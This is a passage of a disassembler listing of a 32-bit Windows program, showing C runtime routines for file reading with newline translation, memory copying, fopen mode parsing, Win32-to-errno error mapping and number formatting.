loc_41B263 mov dword ptr [esi+18h], 1000h loc_41B263: ; CODE XREF: sub_41B1A6+A7j ; sub_41B1A6+AFj ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B271: ; CODE XREF: sub_41B1A6+57j ; sub_41B1A6+5Cj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41B282: ; CODE XREF: sub_41B1A6+Aj ; sub_41B1A6+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41B1A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B287 proc near ; CODE XREF: sub_41B454+52p ; sub_41F8F5+2A7p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_8], 0 cmp [ebp+arg_8], 0 push ebx mov ebx, [ebp+arg_4] push esi push edi mov edx, ebx jz loc_41B44D mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea esi, [eax+eax*8] lea edi, ds:481600h[ecx*4] mov eax, [edi] shl esi, 2 add eax, esi mov cl, [eax+4] test cl, 2 jnz loc_41B44D test cl, 48h jz short loc_41B2ED mov al, [eax+5] cmp al, 0Ah jz short loc_41B2ED dec [ebp+arg_8] mov [ebx], al mov eax, [edi] lea edx, [ebx+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41B2ED: ; CODE XREF: sub_41B287+47j ; sub_41B287+4Ej push 0 lea eax, [ebp+var_C] push eax push [ebp+arg_8] mov eax, [edi] push edx push dword ptr [eax+esi] call dword_42208C ; ReadFile test eax, eax jnz short loc_41B33F call dword_422008 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_41B327 call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE mov [eax], esi jmp short loc_41B337 ; --------------------------------------------------------------------------- loc_41B327: ; CODE XREF: sub_41B287+8Aj cmp eax, 6Dh jz loc_41B44D push eax call sub_41B9B7 pop ecx loc_41B337: ; CODE XREF: sub_41B287+9Ej or eax, 0FFFFFFFFh jmp loc_41B44F ; --------------------------------------------------------------------------- loc_41B33F: ; CODE XREF: sub_41B287+7Dj mov eax, [edi] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [ecx] test al, al jns loc_41B448 test edx, edx jz short loc_41B362 cmp byte ptr [ebx], 0Ah jnz short loc_41B362 or al, 4 jmp short loc_41B364 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B287+D0j ; sub_41B287+D5j and al, 0FBh loc_41B364: ; CODE XREF: sub_41B287+D9j mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] add ecx, eax cmp eax, ecx mov [ebp+arg_8], eax mov [ebp+var_8], ecx jnb loc_41B442 loc_41B37C: ; CODE XREF: sub_41B287+1A3j mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41B432 cmp al, 0Dh jz short loc_41B398 mov [ebx], al inc ebx inc [ebp+arg_8] jmp loc_41B424 ; --------------------------------------------------------------------------- loc_41B398: ; CODE XREF: sub_41B287+104j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41B3B2 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41B3AD add [ebp+arg_8], 2 jmp short loc_41B406 ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B287+11Ej mov [ebp+arg_8], eax jmp short loc_41B420 ; --------------------------------------------------------------------------- loc_41B3B2: ; CODE XREF: sub_41B287+115j inc [ebp+arg_8] push 0 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [edi] push dword ptr [eax+esi] call dword_42208C ; ReadFile test eax, eax jnz short loc_41B3DA call dword_422008 ; RtlGetLastWin32Error test eax, eax jnz short loc_41B420 loc_41B3DA: ; CODE XREF: sub_41B287+147j cmp [ebp+var_C], 0 jz short loc_41B420 mov eax, [edi] test byte ptr [eax+esi+4], 48h jz short loc_41B3FB mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41B406 mov byte ptr [ebx], 0Dh mov ecx, [edi] mov [ecx+esi+5], al jmp short loc_41B423 ; --------------------------------------------------------------------------- loc_41B3FB: ; CODE XREF: sub_41B287+160j cmp ebx, [ebp+arg_4] jnz short loc_41B40B cmp [ebp+var_1], 0Ah jnz short loc_41B40B loc_41B406: ; CODE XREF: sub_41B287+124j ; sub_41B287+167j mov byte ptr [ebx], 0Ah jmp short loc_41B423 ; --------------------------------------------------------------------------- loc_41B40B: ; CODE XREF: sub_41B287+177j ; sub_41B287+17Dj push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41D6E6 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41B424 loc_41B420: ; CODE XREF: sub_41B287+129j ; sub_41B287+151j ... mov byte ptr [ebx], 0Dh loc_41B423: ; CODE XREF: sub_41B287+172j ; sub_41B287+182j inc ebx loc_41B424: ; CODE XREF: sub_41B287+10Cj ; sub_41B287+197j mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41B37C jmp short loc_41B442 ; --------------------------------------------------------------------------- loc_41B432: ; CODE XREF: sub_41B287+FCj mov eax, [edi] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41B442 or al, 2 mov [esi], al loc_41B442: ; CODE XREF: sub_41B287+EFj ; sub_41B287+1A9j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_41B448: ; CODE XREF: sub_41B287+C8j mov eax, [ebp+var_8] jmp short loc_41B44F ; --------------------------------------------------------------------------- loc_41B44D: ; CODE XREF: sub_41B287+16j ; sub_41B287+3Ej ... xor eax, eax loc_41B44F: ; CODE XREF: sub_41B287+B3j ; sub_41B287+1C4j pop edi pop esi pop ebx leave retn sub_41B287 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B454 proc near ; CODE XREF: sub_416ECE+91p ; sub_41B1A6+4Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041B4E3 SIZE 0000001C BYTES push 0Ch push offset stru_42C0D8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_4815F0 jnb short loc_41B4E3 mov eax, ebx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41B4E3 push ebx call sub_41F5BC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41B4B3 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41B287 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41B4CA ; --------------------------------------------------------------------------- loc_41B4B3: ; CODE XREF: sub_41B454+49j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41B4CA: ; CODE XREF: sub_41B454+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41B4DB mov eax, [ebp+var_1C] jmp short loc_41B4F9 sub_41B454 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D8 proc near ; DATA XREF: .text:stru_42C0D8o mov ebx, [ebp+8] sub_41B4D8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B4DB proc near ; CODE XREF: sub_41B454+7Ap push ebx call sub_41F62F pop ecx retn sub_41B4DB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B454 loc_41B4E3: ; CODE XREF: sub_41B454+15j ; sub_41B454+35j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41B4F9: ; CODE XREF: sub_41B454+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41B454 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B500 proc near ; CODE XREF: sub_416ECE+5Fp ; sub_417003+A8p ... var_2EDCFFBF = byte ptr -2EDCFFBFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41B520 cmp edi, eax jb loc_41B69C loc_41B520: ; CODE XREF: sub_41B500+16j test edi, 3 jnz short loc_41B53C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41B55C rep movsd jmp off_41B64C[edx*4] ; --------------------------------------------------------------------------- loc_41B53C: ; CODE XREF: sub_41B500+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41B554 and eax, 3 add ecx, eax jmp dword ptr loc_41B55C+4[eax*4] ; --------------------------------------------------------------------------- loc_41B554: ; CODE XREF: sub_41B500+46j jmp dword ptr loc_41B65C[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41B55C: ; CODE XREF: sub_41B500+31j ; sub_41B500+8Ej ... jmp off_41B5E0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41B56C+4 dd offset loc_41B59C ; --------------------------------------------------------------------------- loc_41B56C: ; DATA XREF: sub_41B500+64o sal [ebp+var_2EDCFFBF], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41B55C rep movsd jmp off_41B64C[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41B59C: ; DATA XREF: sub_41B500+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41B55C rep movsd jmp off_41B64C[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41B55C rep movsd jmp off_41B64C[edx*4] ; --------------------------------------------------------------------------- align 10h off_41B5E0 dd offset loc_41B643 ; DATA XREF: sub_41B500:loc_41B55Cr dd offset loc_41B630 dd offset loc_41B628 dd offset loc_41B620 dd offset loc_41B618 dd offset loc_41B610 dd offset loc_41B608 dd offset loc_41B600 ; --------------------------------------------------------------------------- loc_41B600: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41B608: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41B610: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41B618: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41B620: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41B628: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41B630: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41B643: ; CODE XREF: sub_41B500:loc_41B55Cj ; DATA XREF: sub_41B500:off_41B5E0o jmp off_41B64C[edx*4] ; --------------------------------------------------------------------------- align 4 off_41B64C dd offset loc_41B65C ; DATA XREF: sub_41B500+35r ; sub_41B500+92r ... dd offset loc_41B664 dd offset loc_41B670 dd offset loc_41B684 ; --------------------------------------------------------------------------- loc_41B65C: ; CODE XREF: sub_41B500+35j ; sub_41B500+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41B664: ; CODE XREF: sub_41B500+35j ; sub_41B500+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41B670: ; CODE XREF: sub_41B500+35j ; sub_41B500+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41B684: ; CODE XREF: sub_41B500+35j ; sub_41B500+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41B69C: ; CODE XREF: sub_41B500+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41B6D0 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41B6C4 std rep movsd cld jmp off_41B7E8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41B6C4: ; CODE XREF: sub_41B500+1B5j ; sub_41B500+210j ... neg ecx jmp off_41B798[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_41B6D0: ; CODE XREF: sub_41B500+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41B6E8 and eax, 3 sub ecx, eax jmp dword ptr loc_41B6E8+4[eax*4] ; --------------------------------------------------------------------------- loc_41B6E8: ; CODE XREF: sub_41B500+1DAj ; DATA XREF: sub_41B500+1E1r jmp off_41B7E8[ecx*4] ; --------------------------------------------------------------------------- align 10h cld mov dh, 41h add [eax], ah mov bh, 41h add [eax-49h], cl inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41B6C4 std rep movsd cld jmp off_41B7E8[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41B6C4 std rep movsd cld jmp off_41B7E8[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41B6C4 std rep movsd cld jmp off_41B7E8[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41B79C dd offset loc_41B7A4 dd offset loc_41B7AC dd offset loc_41B7B4 dd offset loc_41B7BC dd offset loc_41B7C4 dd offset loc_41B7CC off_41B798 dd offset loc_41B7DF ; DATA XREF: sub_41B500+1C6r ; --------------------------------------------------------------------------- loc_41B79C: ; DATA XREF: sub_41B500+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41B7A4: ; DATA XREF: sub_41B500+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41B7AC: ; DATA XREF: sub_41B500+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41B7B4: ; DATA XREF: sub_41B500+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41B7BC: ; DATA XREF: sub_41B500+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41B7C4: ; DATA XREF: sub_41B500+290o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41B7CC: ; DATA XREF: sub_41B500+294o mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41B7DF: ; CODE XREF: sub_41B500+1C6j ; DATA XREF: sub_41B500:off_41B798o jmp off_41B7E8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41B7E8 dd offset loc_41B7F8 ; DATA XREF: sub_41B500+1BBr ; sub_41B500:loc_41B6E8r ... dd offset loc_41B800 dd offset loc_41B810 dd offset loc_41B824 ; --------------------------------------------------------------------------- loc_41B7F8: ; CODE XREF: sub_41B500+1BBj ; sub_41B500:loc_41B6E8j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41B800: ; CODE XREF: sub_41B500+1BBj ; sub_41B500:loc_41B6E8j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41B810: ; CODE XREF: sub_41B500+1BBj ; sub_41B500:loc_41B6E8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41B824: ; CODE XREF: sub_41B500+1BBj ; sub_41B500:loc_41B6E8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41B500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B83D proc near ; CODE XREF: sub_4171B0+35p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4814D8 push edi mov edi, [ebp+arg_4] mov al, [edi] xor ebx, ebx cmp al, 61h mov [ebp+var_8], ebx mov [ebp+var_4], ebx jz short loc_41B876 cmp al, 72h jz short loc_41B86F cmp al, 77h jnz loc_41B982 mov ecx, 301h jmp short loc_41B87B ; --------------------------------------------------------------------------- loc_41B86F: ; CODE XREF: sub_41B83D+21j xor ecx, ecx or esi, 1 jmp short loc_41B87E ; --------------------------------------------------------------------------- loc_41B876: ; CODE XREF: sub_41B83D+1Dj mov ecx, 109h loc_41B87B: ; CODE XREF: sub_41B83D+30j or esi, 2 loc_41B87E: ; CODE XREF: sub_41B83D+37j xor edx, edx inc edx jmp loc_41B95D ; --------------------------------------------------------------------------- loc_41B886: ; CODE XREF: sub_41B83D+125j cmp edx, ebx jz loc_41B968 movsx eax, al cmp eax, 54h jg short loc_41B907 jz short loc_41B8FA sub eax, 2Bh jz short loc_41B8E4 sub eax, 19h jz short loc_41B8DA sub eax, 0Eh jz short loc_41B8C6 dec eax jnz loc_41B93F cmp [ebp+var_4], ebx jnz loc_41B93F mov [ebp+var_4], 1 or ecx, 20h jmp loc_41B95D ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B83D+68j cmp [ebp+var_4], ebx jnz short loc_41B93F mov [ebp+var_4], 1 or ecx, 10h jmp loc_41B95D ; --------------------------------------------------------------------------- loc_41B8DA: ; CODE XREF: sub_41B83D+63j test cl, 40h jnz short loc_41B93F or ecx, 40h jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B8E4: ; CODE XREF: sub_41B83D+5Ej test cl, 2 jnz short loc_41B93F and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B8FA: ; CODE XREF: sub_41B83D+59j mov eax, 1000h test ecx, eax jnz short loc_41B93F or ecx, eax jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B907: ; CODE XREF: sub_41B83D+57j sub eax, 62h jz short loc_41B952 dec eax jz short loc_41B93A sub eax, 0Bh jz short loc_41B926 sub eax, 6 jnz short loc_41B93F test ch, 0C0h jnz short loc_41B93F or ecx, 4000h jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B926: ; CODE XREF: sub_41B83D+D5j cmp [ebp+var_8], ebx jnz short loc_41B93F mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B83D+D0j cmp [ebp+var_8], ebx jz short loc_41B943 loc_41B93F: ; CODE XREF: sub_41B83D+6Bj ; sub_41B83D+74j ... xor edx, edx jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B943: ; CODE XREF: sub_41B83D+100j mov [ebp+var_8], 1 or esi, 4000h jmp short loc_41B95D ; --------------------------------------------------------------------------- loc_41B952: ; CODE XREF: sub_41B83D+CDj test ch, 0C0h jnz short loc_41B93F or ecx, 8000h loc_41B95D: ; CODE XREF: sub_41B83D+44j ; sub_41B83D+84j ... inc edi mov al, [edi] cmp al, bl jnz loc_41B886 loc_41B968: ; CODE XREF: sub_41B83D+4Bj push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FBDC mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41B986 loc_41B982: ; CODE XREF: sub_41B83D+25j xor eax, eax jmp short loc_41B9A0 ; --------------------------------------------------------------------------- loc_41B986: ; CODE XREF: sub_41B83D+143j mov eax, [ebp+arg_C] inc dword_481338 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41B9A0: ; CODE XREF: sub_41B83D+147j pop edi pop esi pop ebx leave retn sub_41B83D endp ; =============== S U B R O U T I N E ======================================= sub_41B9A5 proc near ; CODE XREF: sub_4171B0+18p ; sub_4172A4+2Bp ... call sub_4191CF add eax, 8 retn sub_41B9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41B9AE proc near ; CODE XREF: sub_4172A4+36p ; sub_41AE16+8Ap ... call sub_4191CF add eax, 0Ch retn sub_41B9AE endp ; =============== S U B R O U T I N E ======================================= sub_41B9B7 proc near ; CODE XREF: sub_4172A4+16p ; sub_418075+1Dp ... arg_0 = dword ptr 4 push esi call sub_4191CF mov ecx, [esp+4+arg_0] mov [eax+0Ch], ecx xor esi, esi loc_41B9C6: ; CODE XREF: sub_41B9B7+1Cj cmp ecx, dword_4328E0[esi*8] jz short loc_41B9ED inc esi cmp esi, 2Dh jb short loc_41B9C6 cmp ecx, 13h jb short loc_41B9FE cmp ecx, 24h ja short loc_41B9FE call sub_4191CF mov dword ptr [eax+8], 0Dh pop esi retn ; --------------------------------------------------------------------------- loc_41B9ED: ; CODE XREF: sub_41B9B7+16j call sub_4191CF mov ecx, dword_4328E4[esi*8] mov [eax+8], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B9FE: ; CODE XREF: sub_41B9B7+21j ; sub_41B9B7+26j cmp ecx, 0BCh jb short loc_41BA1C cmp ecx, 0CAh ja short loc_41BA1C call sub_4191CF mov dword ptr [eax+8], 8 pop esi retn ; --------------------------------------------------------------------------- loc_41BA1C: ; CODE XREF: sub_41B9B7+4Dj ; sub_41B9B7+55j call sub_4191CF mov dword ptr [eax+8], 16h pop esi retn sub_41B9B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA2A proc near ; CODE XREF: sub_4171B0+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_42C0E8 call __SEH_prolog xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_41A1D6 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_41BA4A: ; CODE XREF: sub_41BA2A+85j mov [ebp+var_20], esi cmp esi, dword_482960 jge loc_41BB19 mov eax, dword_481940 mov eax, [eax+esi*4] cmp eax, ebx jz short loc_41BAB5 test byte ptr [eax+0Ch], 83h jnz short loc_41BAAE cmp esi, 2 jle short loc_41BA87 cmp esi, 14h jge short loc_41BA87 lea eax, [esi+10h] push eax call sub_41A157 pop ecx test eax, eax jz loc_41BB19 loc_41BA87: ; CODE XREF: sub_41BA2A+44j ; sub_41BA2A+49j mov eax, dword_481940 push dword ptr [eax+esi*4] push esi call sub_41B131 pop ecx pop ecx mov eax, dword_481940 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_41BAB1 push eax push esi call sub_41B183 pop ecx pop ecx loc_41BAAE: ; CODE XREF: sub_41BA2A+3Fj inc esi jmp short loc_41BA4A ; --------------------------------------------------------------------------- loc_41BAB1: ; CODE XREF: sub_41BA2A+79j mov edi, eax jmp short loc_41BB16 ; --------------------------------------------------------------------------- loc_41BAB5: ; CODE XREF: sub_41BA2A+39j shl esi, 2 push 38h call sub_416E1F pop ecx mov ecx, dword_481940 mov [esi+ecx], eax mov eax, dword_481940 mov eax, [esi+eax] cmp eax, ebx jz short loc_41BB19 push 0FA0h add eax, 20h push eax call sub_41EFD0 pop ecx pop ecx test eax, eax mov eax, dword_481940 jnz short loc_41BB01 push dword ptr [esi+eax] call sub_416D07 pop ecx mov eax, dword_481940 mov [esi+eax], ebx jmp short loc_41BB19 ; --------------------------------------------------------------------------- loc_41BB01: ; CODE XREF: sub_41BA2A+C2j mov eax, [esi+eax] add eax, 20h push eax call dword_42201C ; RtlEnterCriticalSection mov eax, dword_481940 mov edi, [esi+eax] loc_41BB16: ; CODE XREF: sub_41BA2A+89j mov [ebp+var_1C], edi loc_41BB19: ; CODE XREF: sub_41BA2A+29j ; sub_41BA2A+57j ... cmp edi, ebx jz short loc_41BB2F mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_41BB2F: ; CODE XREF: sub_41BA2A+F1j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41BB43 mov eax, edi call __SEH_epilog retn sub_41BA2A endp ; =============== S U B R O U T I N E ======================================= sub_41BB40 proc near ; DATA XREF: .text:stru_42C0E8o mov edi, [ebp-1Ch] sub_41BB40 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BB43 proc near ; CODE XREF: sub_41BA2A+109p push 1 call sub_41A142 pop ecx retn sub_41BB43 endp ; =============== S U B R O U T I N E ======================================= sub_41BB4C proc near ; CODE XREF: sub_418A1C+459p ; DATA XREF: sub_417255+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_4179CA cmp eax, 65h jmp short loc_41BB6B ; --------------------------------------------------------------------------- loc_41BB5F: ; CODE XREF: sub_41BB4C+20j inc esi movsx eax, byte ptr [esi] push eax call sub_41E6D9 test eax, eax loc_41BB6B: ; CODE XREF: sub_41BB4C+11j pop ecx jnz short loc_41BB5F mov al, [esi] mov cl, byte_432CB8 mov [esi], cl inc esi loc_41BB79: ; CODE XREF: sub_41BB4C+38j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41BB79 pop esi retn sub_41BB4C endp ; =============== S U B R O U T I N E ======================================= sub_41BB88 proc near ; CODE XREF: sub_418A1C+46Ap ; DATA XREF: sub_417255+Ao ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov bl, byte_432CB8 jmp short loc_41BB9A ; --------------------------------------------------------------------------- loc_41BB95: ; CODE XREF: sub_41BB88+16j cmp cl, bl jz short loc_41BBA0 inc eax loc_41BB9A: ; CODE XREF: sub_41BB88+Bj mov cl, [eax] test cl, cl jnz short loc_41BB95 loc_41BBA0: ; CODE XREF: sub_41BB88+Fj mov cl, [eax] inc eax test cl, cl jz short loc_41BBD1 jmp short loc_41BBB4 ; --------------------------------------------------------------------------- loc_41BBA9: ; CODE XREF: sub_41BB88+30j cmp cl, 65h jz short loc_41BBBA cmp cl, 45h jz short loc_41BBBA inc eax loc_41BBB4: ; CODE XREF: sub_41BB88+1Fj mov cl, [eax] test cl, cl jnz short loc_41BBA9 loc_41BBBA: ; CODE XREF: sub_41BB88+24j ; sub_41BB88+29j mov edx, eax loc_41BBBC: ; CODE XREF: sub_41BB88+38j dec eax cmp byte ptr [eax], 30h jz short loc_41BBBC cmp [eax], bl jnz short loc_41BBC7 dec eax loc_41BBC7: ; CODE XREF: sub_41BB88+3Cj ; sub_41BB88+47j mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_41BBC7 loc_41BBD1: ; CODE XREF: sub_41BB88+1Dj pop ebx retn sub_41BB88 endp ; =============== S U B R O U T I N E ======================================= sub_41BBD3 proc near ; DATA XREF: sub_417255+28o ; .text:off_432A58o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_42C0F8 fnstsw ax test ah, 1 jnz short loc_41BBEA xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41BBEA: ; CODE XREF: sub_41BBD3+11j xor eax, eax retn sub_41BBD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBED proc near ; CODE XREF: sub_4192C5+40Dp ; DATA XREF: sub_417255+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41BC16 lea eax, [ebp+var_8] push eax call sub_41FF55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, 